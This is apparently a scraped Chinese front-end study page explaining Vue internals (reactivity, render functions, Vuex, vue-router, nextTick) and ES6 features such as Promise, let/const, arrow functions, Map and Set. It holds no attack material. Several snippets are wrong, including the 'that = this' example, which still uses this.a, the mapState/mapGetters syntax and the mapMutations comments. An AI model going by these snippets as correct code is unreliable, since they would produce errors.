obj.age = 22; // 修改但是这样的操作vue本身是没有办法感知到的,那么应该如何让vue知道我们进行了访问或是修改的操作呢?
那就要使用Object.defineProperty
1
2
3
4
5
6
7
8
9
10
11Object.defineProperty(obj, prop, descriptor)
/*
obj: 对象
prop: 属性
descriptor: 属性描述符
数据描述符、存取描述符共有: configurable、enumerable
数据描述符: value、writable
var obj = { a: 1 }
Object.defineProperty(obj, 'a', { value: 2 })
存取描述符: get、set,vue的监听变化实际就是通过这个get和set实现的
*/
1 | var data = { |
通过 Object.defineProperty
将data里的每一个属性的访问与修改都变成了一个函数,在函数get和set中我们即可监听到data的属性发生了改变。
模板解析:vue的模板是如何被解析的
模板本质上是一串字符串,它看起来和html
的格式很相像,实际上有很大的区别,因为模板本身还带有逻辑运算,比如v-if
,v-for
等等,但它最后还是要转换为html
来显示。1
2
3
4
5
6
7
8
9
10
11<div id="app">
<div>
<input v-model="title">
<button v-on:click="add">submit</button>
</div>
<div>
<ul>
<li v-for="item in list">{{item}}</li>
</ul>
</div>
</div>模板在
vue
中必须转换为JS
代码,原因在于:在前端环境下,只有JS
才是一个图灵完备语言,才能实现逻辑运算,以及渲染为html
页面。这里就引出了vue中一个特别重要的函数——render
render
函数中的核心就是with
函数。with: with函数将某个对象添加到作用域链的顶部,如果在 statement中有某个未使用命名空间的变量,跟作用域链中的某个属性同名,则这个变量将指向这个属性值。
上例中使用
with
解析的过程如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56with(this){ // this 就是 vm
return _c(
'div',
{
attrs:{"id":"app"}
},
[
_c(
'div',
[
_c(
'input',
{
directives:[
{
name:"model",
rawName:"v-model",
value:(title),
expression:"title"
}
],
domProps:{
"value":(title)
},
on:{
"input":function($event){
if($event.target.composing)return;
title=$event.target.value
}
}
}
),
_v(" "),
_c(
'button',
{
on:{
"click":add
}
},
[_v("submit")]
)
]
),
_v(" "),
_c('div',
[
_c(
'ul',
_l((list),function(item){return _c('li',[_v(_s(item))])})
)
]
)
]
)
}其中的
_c
函数表示的是创建一个新的html元素,其基本用法为:1
_c(element,{attrs},[children...])
其中的element表示所要创建的html元素类型,attrs表示所要创建的元素的属性,children表示该html元素的子元素。
_v
函数表示创建一个文本节点,_l
函数表示创建一个数组。最终render函数返回的是一个虚拟DOM。
渲染:vue模板是如何被渲染成HTML的
模板渲染为html分为两种情况:
1、初次渲染的时候
2、渲染之后数据发生改变的时候它们都需要调用updateComponent,其形式如下:
1
2
3
4
5
6
7
8
9
10
11
12
13vm._update(vnode){
const prevVnode = vm._vnode
vm._vnode = vnode
if (!prevVnode){
vm.$el = vm.__patch__(vm.$el,vnode)
} else {
vm.$el = vm.__patch__(prevVnode,vnode)
}
}
function updateComponent(){
vm._update(vm._render())
}首先读取当前的虚拟DOM——
vm._vnode
,判断其是否为空,若为空,则为初次渲染,将虚拟DOM全部渲染到所对应的容器当中(vm.$el),若不为空,则是数据发生了修改,通过响应式我们可以监听到这一情况,使用diff算法完成新旧对比并修改。
好处
- 低耦合
- 可重用
- 独立开发
- 易测试
Vue双向绑定原理
通过 Object.defineProperty()
来劫持各个属性的setter,getter在数据变动时给订阅者发送消息,触发相应的监听回调.
Vue 会把props、data 等变成响应式对象,在创建过程中,发现子属性也为对象则会递归把该对象也变成响应式。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20var data = {
name: 'zhangsan',
age: 20
}
var key, value
for (key in data) { // 遍历data中所有的字段
(function (key) {
Object.defineProperty(data, key, {
get: function () {
console.log('get', data[key]) // 监听
return data[key]
},
set: function (newVal) {
console.log('set', newVal) // 监听
data[key] = newVal
}
})
})(key)
}
- 实现一个数据监听器
Observer
,能够对数据对象的所有属性进行监听,如果有变动则拿到最新值并通知订阅者。 - 实现一个指令解析器
Compile
,对每个元素节点的指令进行扫描和解析,根据指令模板替换数据,以及绑定相应的更新函数。添加监听数据的订阅者,一旦数据有变动,收到通知,更新视图 - 实现一个
Watcher
,作为链接Observer
和Compile
的桥梁,能够订阅并收到每个属性变动的通知,执行指令绑定的相应回调函数,从而更新视图。
Vue生命周期(v2.0)
生命周期 | 表现 |
---|---|
beforeCreate | 组件实例刚被创建,组件属性计算之前,如data属性 |
created | 组件实例创建完成,属性已绑定,但是DOM还未生成,$el属性还不存在 |
beforeMount | 模板编译/挂载之前 |
mounted | 模板编译/挂载之后 |
beforeUpdate | 组件更新之前 |
updated | 组件更新之后 |
activated | for keep-alive ,组件被激活时调用 |
deactivated | for keep-alive ,组件被移除时调用 |
beforeDestory | 组件销毁前 |
destoryed | 组件销毁后 |
Vuex原理
组件触发事件,通过 dispatch 来触发 actions 中的方法
actions 中的 commit 会触发 mutations 中的方法
mutation 就会去改变 state
state 相应到变化后,触发 Render 更新
其他的组件通过 getters 中的方法来获取 state
Store.js1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25const store = new Vuex.Store({
state: {
count: 0
},
// this.$store.commit('increment') 触发mutation中的方法
// state的值只能通过mutations来修改
mutations: {
increment(state) {
state.count++
}
},
// this.$store.dispatch('increment')来触发actions中的方法
actions: {
increment({commit}) {
commit("increment"); // this.$store.commit("increment") 触发mutations中的increment
}
},
// 任意组件通过 this.$store.getters.getCount来获取状态
getters: {
getCount(state) {
return state.count
}
}
})
export default store
App.vue1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<template>
<div id="app">
<button @click="increment">增加</button>
<!-- 有时候不能直接 强制使用store里面的状态 this.$store.state.count -->
{{this.$store.getters.getCount}}
</div>
</template>
<script>
export default {
methods: {
increment(){
this.$store.dispatch("increment") // this.$store.dispatch("increment") 触发actions函数"increment"
}
}
}
</script>
另外,vuex 提供了 mapState
、mapGetters
、mapActions
、mapMutations
这些辅助函数
mapState
混入到某个组件的 computed 中1
2
3
4
5
6
7
8
9
10
11
12
13
14import { mapState } from 'vuex'
export default {
// ...
computed: {
...mapState({
// 当计算属性的名字和子节点名称相同时,可直接写字符串,相当于:count: state => state.count
'count',
// 重命名
leftCount: state => state.count
})
}
]
mapGetters
混入到某个组件的 computed 中,同 mapGetters
1
2
3
4
5
6
7
8
9
10
11
12
13
14import { mapGetters } from 'vuex'
export default {
// ...
computed: {
...mapGetters({
// 原名
'leftCount',
// 重命名,把 `this.doneCount` 映射为 `this.$store.getters.doneTodosCount`
doneCount: 'doneTodosCount'
})
}
]
mapActions
混入到某个组件的 methods 中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import { mapActions } from 'vuex'
export default {
// ...
methods: {
...mapActions({
// 把 `this.increment()` 映射为 `this.$store.dispatch('incrementAct')`
increment: 'incrementAct',
// `mapActions` 也支持载荷(参数):
// 把 `this.incrementBy(amount)` 映射为 `this.$store.dispatch('incrementBy', amount)`
'incrementBy'
})
}
}
mapMutations
混入到某个组件的 methods 中,同 mapActions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import { mapMutations } from 'vuex'
export default {
// ...
methods: {
...mapMutations({
// 把 `this.increment()` 映射为 `this.$store.dispatch('incrementAct')`
increment: 'incrementAct',
// `mapMutations` 也支持载荷(参数):
// 把 `this.incrementBy(amount)` 映射为 `this.$store.dispatch('incrementBy', amount)`
'incrementBy'
})
}
}
Q&A
- 为什么要先 dispatch 触发actions中的方法,再去调用 mutations 中的方法,而非一步搞定。
mutation 必须同步执行,actions 可以异步执行。1
2
3
4
5
6
7actions: {
incrementAsync ({ commit }) {
setTimeout(() => {
commit('increment')
}, 1000)
}
}
vue-router 原理
原理核心就是 更新视图但不重新请求页面。
VueRouter包括三个主要组成部分:
- VueRouter: 路由类,根据路由请求在路由视图中动态渲染选中的组件
- router-link: 路由链接组件,声明用以提交路由请求的用户接口
- router-view: 路由视图组件,负责动态渲染路由选中的组件
提供三种运行模式:
hash模式: 使用 URL hash 值来作路由。默认模式。
hash即浏览器url中#后面的内容,包含#。
#是用来指导浏览器动作的,对服务器端完全无用,HTTP请求中,不包含#。
每一次改变#后的部分,都会在浏览器的访问历史中增加一个记录,使用”后退”按钮,就可以回到上一个位置。history模式: 依赖 HTML5 History API 和服务器配置。
history.pushState API 来完成 URL 跳转而无须重新加载页面。abstract模式: 支持所有 JavaScript 运行环境,如 Node.js 服务器端
abstract模式是使用一个不依赖于浏览器的浏览历史虚拟管理后端。
vue-router 自身会对环境做校验,如果发现没有浏览器的 API,vue-router 会自动强制进入 abstract 模式,所以 在使用 vue-router 时只要不写 mode 配置即可,默认会在浏览器环境中使用 hash 模式,在移动端原生环境中使用 abstract 模式。 (当然,你也可以明确指定在所有情况下都使用 abstract 模式)。
Vue nextTick实现原理
在浏览器环境 nextTick 是使用 es6 的Promise来实现的,在不支持 Promise 的环境,优先使用 setImmediate,如果 setImmediate 也不支持则使用 setTimeout
setImmediate:
该方法用来把一些需要长时间运行的操作放在一个回调函数里,在浏览器完成后面的语句后,就立即执行这个回调函数。
1 | // 不考虑兼容,实现一个nextTick方法 |
Promise原理
Promise是为了解决异步编程出现的地狱回调问题而提出来的。
Promise 三种状态:pending、resolve、reject
优点:
Promise其实就是做了一件事情,它是对异步操纵进行了封装,然后可以将异步操纵以同步的流程表达出来,避免了层层嵌套的回调函数,同时提供了统一的接口,使得控制异步操纵更加容易。
缺点:
- 无法取消Promise,一旦被创建它就会立刻去执行,无法中途取消
- 如果不设置回调函数,Promise内部的错误无法反应到外部
- 当处于未完成状态时,无法得知目前进行到哪个状态。
1 | const getData = new Promise((resolve, reject) => { |
如何手动中断呢?
原理:新增一个 promise
,通过 Promise.race
进行控制,中断时控制的其实是另外一个 promise
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33// Promise.race: 有一个成功即成功,有一个失败即失败
function PromiseFn (p1) {
let abort
const p2 = new Promise((resolve, reject) => {
abort = () => {
reject()
}
})
const promise = Promise.race([p1, p2])
promise.abort = abort
return promise
}
// 模拟请求花费5s时间
const request = new Promise((resolve, reject) => {
setTimeout(() => {
resolve('success')
}, 5000)
})
const promise = PromiseFn(request)
promise.then((req) => {
console.log(req)
}).catch((err) => {
console.log(err)
})
// 模拟2s后手动中断请求
setTimeout(() => {
promise.abort()
}, 2000)
html2canvas原理
它的原理是将 Dom
节点在 Canvas
里边画出来。虽然很方便,但有以下限制:
- 不支持
iframe
- 不支持跨域图片
- 不能在浏览器插件中使用
- 部分浏览器上不支持
SVG
图片 - 不支持
Flash
- 不支持古代浏览器和
IE
SVG和Canvas的区别
SVG
SVG 是一种使用 XML
描述 2D
图形的语言。
- 不依赖分辨率
- 支持事件处理器
- 最适合带有大型渲染区域的应用程序(比如谷歌地图)
- 复杂度高会减慢渲染速度(任何过度使用
DOM
的应用都不快) - 不适合游戏应用
Canvas
Canvas 通过 JavaScript
来绘制 2D
图形。
- 依赖分辨率,逐像素进行渲染
- 不支持事件处理器
- 弱的文本渲染能力
- 能够以
.png
或.jpg
格式保存结果图像 - 最适合图像密集型的游戏,其中的许多对象会被频繁重绘
Canvas
通过 JavaScript
来绘制 2D
图形。SVG
是基于形状的保留模式图形系统,更加适合较大的表面或较小数量的对象。Canvas
和 SVG
在修改方式上还存在着不同。绘制 Canvas
对象后,不能使用脚本和 CSS
对它进行修改。因为 SVG
对象是文档对象模型的一部分,所以可以随时使用脚本和 CSS 修改它们。
es6常用语法
let、const、模板字符串、箭头函数、字符串方法、数组方法、Promise()方法、Map、Set等
let的特点
- 只在代码块内有效
不存在变量提升(只能先声明后使用)(变量提升指变量在声明之前使用,值为ReferenceError)
1
2
3
4
5
6
7// var 的情况
console.log(foo); // 输出undefined
var foo = 2;
// let 的情况
console.log(bar); // 报错ReferenceError
let bar = 2;不允许重复申明(不允许在相同作用域内重复声明同一个变量)
1
2
3
4
5
6
7
8
9
10
11// 报错
function () {
let a = 10;
var a = 1;
}
// 报错
function () {
let a = 10;
let a = 1;
}1
2
3
4
5
6
7
8
9function func(arg) {
let arg; // 报错
}
function func(arg) {
{
let arg; // 不报错
}
}let新增块级作用域
const的特点
const声明一个只读的常量,一旦声明,常量的值就不能改变
1
2
3
4
5const PI = 3.1415;
PI // 3.1415
PI = 3;
// TypeError: Assignment to constant variable.const一旦声明变量,就必须立即初始化,不能等到以后赋值
1
2const foo;
// SyntaxError: Missing initializer in const declaration只在声明所在的块级作用域内有效
1
2
3
4
5if (true) {
const MAX = 5;
}
MAX // Uncaught ReferenceError: MAX is not defined不存在变量提升
- 只能先声明后使用
- 不允许重复声明
对于复合类型的变量,变量名不指向数据,而是指向数据所在的地址。即const命令只是保证变量名指向的地址不变,而不是保证数据不变,所以使用const声明为常量必须小心。
1
2
3
4
5const foo = {};
foo.prop = 123;
foo.prop
// 123
foo = {}; // TypeError: "foo" is read-only常量foo存储的是一个地址,这个地址指向一个对象。所谓不可变的是这个地址,不能把foo指向另一个地址,但是该对象本身是可变的,可以为这个对象添加新属性等
箭头函数和普通函数的区别
this指向问题
1、普通函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15var a = 3;
var obj = {
a : 1,
foo : function(){
console.log(this, this.a);
}
}
obj.foo(); // 1
var bar = obj;
bar.a = 2;
bar.foo(); // 2
var baz = obj.foo;
baz(); // 31.)直接通过
obj
调用其中的方法foo
,此时,this
就会指向调用foo
函数的对象,也就是obj
;
2.)将obj
对象赋给一个新的对象bar
,此时通过bar
调用foo
函数,this
的值就会指向调用者bar
;
3.)将obj.foo
赋给一个新对象baz
,通过baz()
调用foo
函数,此时的this
指向window
;由此我们可以得出结论:
普通函数的
this
总是指向它的直接调用者。
在严格模式下,没找到直接调用者,则函数中的this
是undefined
。
在默认模式下(非严格模式),没找到直接调用者,则函数中的this
指向window
。再考虑一下以下的情况:
1
2
3
4
5
6
7
8
9var obj = {
a : 1,
foo : function(){
setTimeout(function(){
console.log(this.a);
}, 3000);
}
};
obj.foo(); //undefined在上例中
setTimeout
中的function
未被任何对象调用,因此它的this
指向还是window
对象。对于方法(即通过对象调用了该函数),普通函数中的
this
总是指向它的调用者。
对于一般函数,this
指向全局变量(非严格模式下)或者undefined
(严格模式下)。假设我么需要在上例中的
setTimeout
中使用this
要怎么做呢,在es5
的时代可以这样做:
1.)使用一个变量that
先接收一遍this
1
2
3
4
5
6
7
8
9
10var obj = {
a : 1,
foo : function(){
var that = this; // 先使用一个变量接收this
setTimeout(function(){
console.log(this.a);
}, 3000);
}
};
obj.foo(); // 12.)使用
bind
给setTimeout
绑定this
1
2
3
4
5
6
7
8
9var obj = {
a : 1,
foo : function(){
setTimeout(function(){
console.log(this.a);
}.bind(this), 3000);
}
};
obj.foo(); // 1而
es6
可以如何实现这块呢,请继续往下看:2、箭头函数
1
() => { console.log(this) }
箭头函数中没有自己的
this
、arguments
、new target(ES6)
和super(ES6)
;
箭头函数相当于匿名函数,因此不能使用new
来作为构造函数使用。
箭头函数中的this
始终指向其父级作用域中的this
,call()
、apply()
、bind()
都无法改变this
指向请看如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22var obj = {
a: 10,
b: () => {
console.log(this.a); // undefined
console.log(this); // Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}
},
c: function() {
console.log(this.a); // 10
console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
},
d: function(){
console.log(this.a); // 10
console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
return () => {
console.log(this.a); // 10
console.log(this); // {a: 10, b: ƒ, c: ƒ, d: ƒ}
}
},
}
obj.b();
obj.c();
obj.d()();obj.b()
中的this
会继承父级上下文中的this
值,也就是与obj
有相同的this
指向,为全局变量window
;obj.c()
的this
指向即为调用者obj
;obj.d()()
中的this
也继承自父级上下文中的this
,即d的this
指向,也就是obj
。
参数
1、示例普通函数可以使用
arguments
来获取不定参数,输出的是一个数组,如1
2
3
4function funcA(a) {
console.log(arguments); // output: Arguments(3) [1, 2, 3, callee: ƒ, Symbol(Symbol.iterator): ƒ]
}
funcA(1, 2, 3);es6
提供了rest
方式来获取,即...
符号,如:1
2
3
4const funcB = (...params) => {
console.log(params); // output: [1, 2, 3]
}
funcB(1, 2, 3);1
2
3
4const funcC = (a, ...params) => {
console.log(params); // output: [2, 3]
}
funcC(1, 2, 3);1
2
3
4const funcC = (a, ...params, b) => {
console.log(params); // output: Rest parameter must be last formal parameter
}
funcC(1, 2, 3);2、区别:
1.)arguments
包含所有参数,rest
参数只包括那些没有给出名称的参数(前面的参数展示m
个,reset
就占n - m
个)
2.)arguments
对象不是真正的数组,而rest
参数是数组实例,可以直接应用sort
、map
、forEach
、pop
等方法
3.)将arguments
转换成普通的数组1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17function funcD(a, b) {
console.log(arguments); // [1, 2, callee: ƒ, Symbol(Symbol.iterator): ƒ]
// arguments作为参数传给Array的concat方法: [].concat(arguments)
console.log([].concat.apply([], arguments))
console.log(Array.prototype.concat.apply([], arguments))
// arguments调用Array的slice方法: arguments.slice()、arguments.slice(0)
console.log([].slice.call(arguments))
console.log(Array.prototype.slice.call(arguments))
console.log([].slice.call(arguments, 0))
console.log(Array.prototype.slice.call(arguments, 0))
// 全部输出 [1, 2]
}
funcD(1,2)
使用Promise自己封装一个Ajax插件
我们知道 Promise
会接收两个参数,resolve
(成功)和 reject
(失败),我们可以用这两个参数代替 ajax
的 success
和 error
,并使用链式调用, then
里面执行成功的操作,catch
里面执行错误的信息。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33const $ajax = function(url, data) {
return new Promise((resolve, reject) => {
// 创建 XMLHttpRequest对象,用于在后台与服务器交换数据。
let request = new XMLHttpRequest()
//设置向服务器提交的方式
request.open("GET", url, true)
request.responseType = 'json'
request.setRequestHeader("Accept", "application/json")
// onreadystatechange捕获事件请求的状态
request.onreadystatechange = function handlerRequest() {
//readyState为4的时候,代表请求操作已经完成,这意味着数据传输已经彻底完成或失败。
if (this.readyState === 4) {
//请求成功
if (this.status === 200) {
resolve(this.response)
} else {
reject(new Error(this.statusText))
}
}
}
//发送 HTTP 请求,默认异步请求
request.send(data); // data的格式: name1=value1&name2=value2
})
}
$ajax("http://www.phonegap100.com/appapi.php?a=getPortalList&catid=20&page=1", '')
.then((resolve) => {
console.log(resolve)
})
.catch((reject) => {
console.log(reject)
});
常用的字符串方法
at(): 返回给定字符的位置
1
2var s = 'Hello world!';
s.at(0) // Hincludes(): 是否包含指定字符串,第二个参数可选,表示起始查找位置
- startsWith(): 参数是否在头部,第二个参数可选,表示起始查找位置
endsWith(): 参数是否在尾部,第二个参数可选,表示起始查找位置
1
2
3
4
5
6
7
8
9var s = 'Hello world!';
s.startsWith('Hello') // true
s.endsWith('!') // true
s.includes('o') // true
var s = 'Hello world!';
s.startsWith('world', 6) // true
s.endsWith('Hello', 5) // true
s.includes('Hello', 6) // falserepeat(): 返回重复多次后的字符串
1
2
3
4
5
6
7
8var s = 'Hello'
s.repeat(3) // HelloHelloHello
s.repeat(2.9) // HelloHello,参数为小数时为取整次数
s.repeat(Infinity) // 报错
s.repeat(-1) // 报错
s.repeat(-0.8) // "",-1~0取整后为0
s.repeat("2") // HelloHell0,字符串先转换成数字再取整
s.repeat("world") // ""padStart(): 头部补全,第一参数表示字符串长度,第二参数可选,表示替补的字符串,如无,以空格替补
padEnd(): 尾部补全,第一参数表示字符串长度,第二参数可选,表示替补的字符串,如无,以空格替补
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18var s = 'x'
s.padStart(5, 'ab') // 'ababx'
s.padStart(4, 'ab') // 'abax'
s.padStart(4, 'abcdefg') // 'abcx' ,多余的会被去掉
s.padEnd(5, 'ab') // 'xabab'
s.padEnd(4, 'ab') // 'xaba'
s.padEnd(4, 'abcdefg') // 'xabc' ,多余的会被去掉
var s = 'xxxx'
s.padStart(2, 'ab') // 'xxxx',当设置的字符串长度小于原本长度,返回原字符串
s.padEnd(4, 'ab') // 'xxxx' ,当设置的字符串长度小于原本长度,返回原字符串
var s = 'x'
s.padStart(3) // ' x'
s.padEnd(4) // 'x '
常用来补全位数:
'10'.padStart(10, '0') // "0000000010"模板字符串
常用的数组方法
Array.from():将两类对象(类似数组的对象和可遍历的对象)转为真正的数组
1
2
3
4
5
6
7
8
9
10
11
12let arrayLike = {
'0': 'a',
'1': 'b',
'2': 'c',
length: 3
};
// ES5的写法:
var arr1 = [].slice.call(arrayLike); // ['a', 'b', 'c']
// ES6的写法:
let arr2 = Array.from(arrayLike); // ['a', 'b', 'c']Array.of():将一组值转换成数组
1
2
3
4
5
6
7
8
9Array.of(3, 11, 8) // [3,11,8]
Array.of(3) // [3]
Array.of(3).length // 1
Array.of() // []
Array.of(undefined) // [undefined]copyWithin():将指定位置的成员复制到其他位置(会覆盖原有成员),然后返回当前数组
Array.prototype.copyWithin(target, start = 0, end = this.length)target(必需):从该位置开始替换数据。
start(可选):从该位置开始读取数据,默认为0。如果为负值,表示倒数。
end(可选):到该位置前停止读取数据,默认等于数组长度。如果为负值,表示倒数。正从0开始,负从-1开始。
这三个参数都应该是数值,如果不是,会自动转为数值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20[1, 2, 3, 4, 5].copyWithin(0, 3) // [4, 5, 3, 4, 5]
// 从3号位直到数组结束的成员(4和5),复制到从0号位开始的位置,结果覆盖了原来的1和2
[1, 2, 3, 4, 5].copyWithin(0, 3, 4) // [4, 2, 3, 4, 5]
// 将3号位复制到0号位
[1, 2, 3, 4, 5].copyWithin(0, -2, -1) // [4, 2, 3, 4, 5]
// -2相当于3号位,-1相当于4号位
[].copyWithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5}
// 将3号位复制到0号位
var i32a = new Int32Array([1, 2, 3, 4, 5]); i32a.copyWithin(0, 2); // Int32Array [3, 4, 5, 4, 5]
// 将2号位到数组结束,复制到0号位
// 对于没有部署TypedArray的copyWithin方法的平台
// 需要采用下面的写法:
[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4); // Int32Array [4, 2, 3, 4, 5]find():用于找出第一个符合条件的数组成员
1
2
3
4
5
6
7[1, 4, -5, 10, -1].find((n) => n < 0) // -5
// 找出数组中第一个小于0的成员,-1布什第一个,不返回。
[1, 5, 10, 15].find(function(value, index, arr) {
return value > 9;
}) // 10
// 找出大于9的,15不是第一个,不返回findIndex():返回第一个符合条件的数组成员的位置,如果所有成员都不符合条件,则返回-1
1
2
3
4
5
6
7[1, 5, 10, 15].findIndex(function(value, index, arr) {
return value > 9;
}) // 2
[NaN].indexOf(NaN) // -1
[NaN].findIndex(y => Object.is(NaN, y)) // 0fill():使用给定值,填充一个数组
第二个参数(可选)表示替换起始位置,第三个参数(可选),表示结束位置1
2
3
4
5['a', 'b', 'c'].fill(7) // [7, 7, 7]
new Array(3).fill(7) // [7, 7, 7]
['a', 'b', 'c'].fill(7, 1, 2) // ['a', 7, 'c']includes():是否包含指定元素,es7语法,babel转换器已支持
第二个参数可选,表示指定搜索起始位置,从起始位置到结尾,默认为0,负数表示倒数;当大于数组长度,会重置为从0开始1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28[1, 2, 3].includes(2); // true
[1, 2, 3].includes(4); // false
[1, 2, NaN].includes(NaN); // true
[1, 2, 3].includes(3, 3); // false
[1, 2, 3].includes(3, -1); // true
[1, 2, 3].includes(2, 0); // true
[1, 2, 3].includes(2, 1); // true
[1, 2, 3].includes(2, 2); // false
[1, 2, 3].includes(2, 3); // false
[1, 2, 3].includes(2, -1); // false
[1, 2, 3].includes(2, -2); // true
[1, 2, 3].includes(2, -3); // true
[1, 2, 3].includes(2, -4); // true
Map
含义和基本用法 JavaScript
的对象(Object),本质上是键值对的集合(Hash 结构),但是传统上只能用字符串当作键。这给它的使用带来了很大的限制。
为了解决这个问题,ES6
提供了 Map
数据结构。它类似于对象,也是键值对的集合,但是“键”的范围不限于字符串,各种类型的值(包括对象)都可以当作键。也就是说,Object
结构提供了“字符串—值”的对应,Map
结构提供了“值—值”的对应,是一种更完善的 Hash
结构实现。如果你需要“键值对”的数据结构,Map
比 Object
更合适。1
2
3
4
5
6
7
8
9const m = new Map();
const o = {p: 'Hello World'};
m.set(o, 'content')
m.get(o) // "content"
m.has(o) // true
m.delete(o) // true
m.has(o) // false
作为构造函数,Map
也可以接受一个数组作为参数。该数组的成员是一个个表示键值对的数组。1
2
3
4
5
6
7
8
9
10const map = new Map([
['name', '张三'],
['title', 'Author']
]);
map.size // 2
map.has('name') // true
map.get('name') // "张三"
map.has('title') // true
map.get('title') // "Author"
当参数为数组是,其内部的逻辑如下:1
2
3
4
5
6
7
8
9
10const items = [
['name', '张三'],
['title', 'Author']
];
const map = new Map();
items.forEach(
([key, value]) => map.set(key, value)
);
如果读取一个未知的键,则返回 undefined
。1
new Map().get('asfddfsasadf'); // undefined
注意,只有对同一个对象的引用,Map 结构才将其视为同一个键。1
2
3
4const map = new Map();
map.set(['a'], 555);
map.get(['a']) // undefined
上面代码的set和get方法,表面是针对同一个键,但实际上这是两个值,内存地址是不一样的,因此get方法无法读取该键,返回undefined。
同理,同样的值的两个实例,在 Map
结构中被视为两个键。1
2
3
4
5
6
7
8
9
10
11const map = new Map();
const k1 = ['a'];
const k2 = ['a'];
map
.set(k1, 111)
.set(k2, 222);
map.get(k1) // 111
map.get(k2) // 222
由上可知,Map
的键实际上是跟内存地址绑定的,只要内存地址不一样,就视为两个键。注意:以上说的只针对引用类型。
如果 Map
的键是一个简单类型的值(数字、字符串、布尔值),则只要两个值严格相等,Map
将其视为一个键,比如0和-0就是一个键,布尔值true和字符串true则是两个不同的键。另外,undefined和null也是两个不同的键。虽然NaN不严格相等于自身,但 Map
将其视为同一个键。
1 | let map = new Map(); |
Map 的属性或方法
属性:
size
属性1
2
3
4
5const map = new Map();
map.set('foo', true);
map.set('bar', false);
map.size // 2
方法:
操作方法
set(key, value)
:设置键名key对应的键值为value,然后返回整个 Map 结构,即可以链式操作。get(key)
:读取key对应的键值,如果找不到key,返回undefined。has(key)
:查询某个键是否在当前 Map 对象之中,返回布尔值。delete(key)
:删除某个键,返回true。如果删除失败,返回false。clear()
:清除所有成员,没有返回值。
遍历方法
[Symbol.iterator]()
: 返回键值的遍历器keys()
:返回键名的遍历器。values()
:返回键值的遍历器。entries()
:返回所有成员的遍历器。forEach()
:遍历 Map 的所有成员。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31const map = new Map([
['F', 'no'],
['T', 'yes'],
]);
for (let key of map.keys()) {
console.log(key);
}
// "F"
// "T"
for (let value of map.values()) {
console.log(value);
}
// "no"
// "yes"
for (let item of map.entries()) {
console.log(item, item[0], item[1]);
}
// ["F", "no"] "F" "no"
// ["T", "yes"] "T" "yes"
// 或者
for (let [key, value] of map.entries()) {
console.log(key, value);
}
// "F" "no"
// "T" "yes"
// 注意,for of遍历可使用break或continue跳出或跳过循环,for in遍历没有。
Map
结构转为数组结构,比较快速的方法是使用扩展运算符(…)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17const map = new Map([
[1, 'one'],
[2, 'two'],
[3, 'three'],
]);
[...map.keys()]
// [1, 2, 3]
[...map.values()]
// ['one', 'two', 'three']
[...map.entries()]
// [[1,'one'], [2, 'two'], [3, 'three']]
[...map]
// [[1,'one'], [2, 'two'], [3, 'three']]
Set
含义和基本用法 ES6
提供了新的数据结构 Set
。它类似于数组,但是成员的值都是唯一的,没有重复的值,我们可以利用 Set
的成员唯一性来实现数组的去重1
2
3
4
5
6
7
8
9
10const s = new Set();
[2, 3, 5, 4, 5, 2, 2].forEach(x => s.add(x));
console.log([...s]); // [2, 3, 5, 4]
for (let i of s) {
console.log(i);
}
// 2 3 5 4
利用 Set
给数组或字符串去重1
2
3
4
5[...new Set([2, 3, 5, 4, 5, 2, 2])]; // [2, 3, 5, 4]
Array.from(new Set([2, 3, 5, 4, 5, 2, 2])); // 使用Array.from 将Set转换成数组
[...new Set('2354522')].join(''); // "2354"
Array.from(new Set('2354522')).join('')
Set函数可以接受一个数组(或者具有 iterable 接口的其他数据结构)作为参数,用来初始化。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20// 例一
const set = new Set([1, 2, 3, 4, 4]);
[...set] // [1, 2, 3, 4]
// 例二
const items = new Set([1, 2, 3, 4, 5, 5, 5, 5]);
items.size // 5
// 例三
const set = new Set(document.querySelectorAll('div')); // 接收一个数组对象
set.size // 56
// 类似于
const set = new Set();
document
.querySelectorAll('div')
.forEach(div => set.add(div));
set.size // 56
Set 的属性或方法
属性:
Set.prototype.constructor
:构造函数,默认就是Set
函数。Set.prototype.size
:返回Set
实例的成员总数。
方法:
操作方法
add(value)
:添加某个值,返回Set
结构本身。delete(value)
:删除某个值,返回一个布尔值,表示删除是否成功。has(value)
:返回一个布尔值,表示该值是否为Set
的成员。clear()
:清除所有成员,没有返回值。
遍历方法
[Symbol.iterator]()
: 返回键值的遍历器keys()
:返回键名的遍历器。values()
:返回键值的遍历器。entries()
:返回键值对的遍历器。forEach()
:使用回调函数遍历每个成员。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27let set = new Set(['red', 'green', 'blue']);
for (let item of set.keys()) {
console.log(item);
}
// red
// green
// blue
for (let item of set.values()) {
console.log(item);
}
// red
// green
// blue
for (let item of set.entries()) {
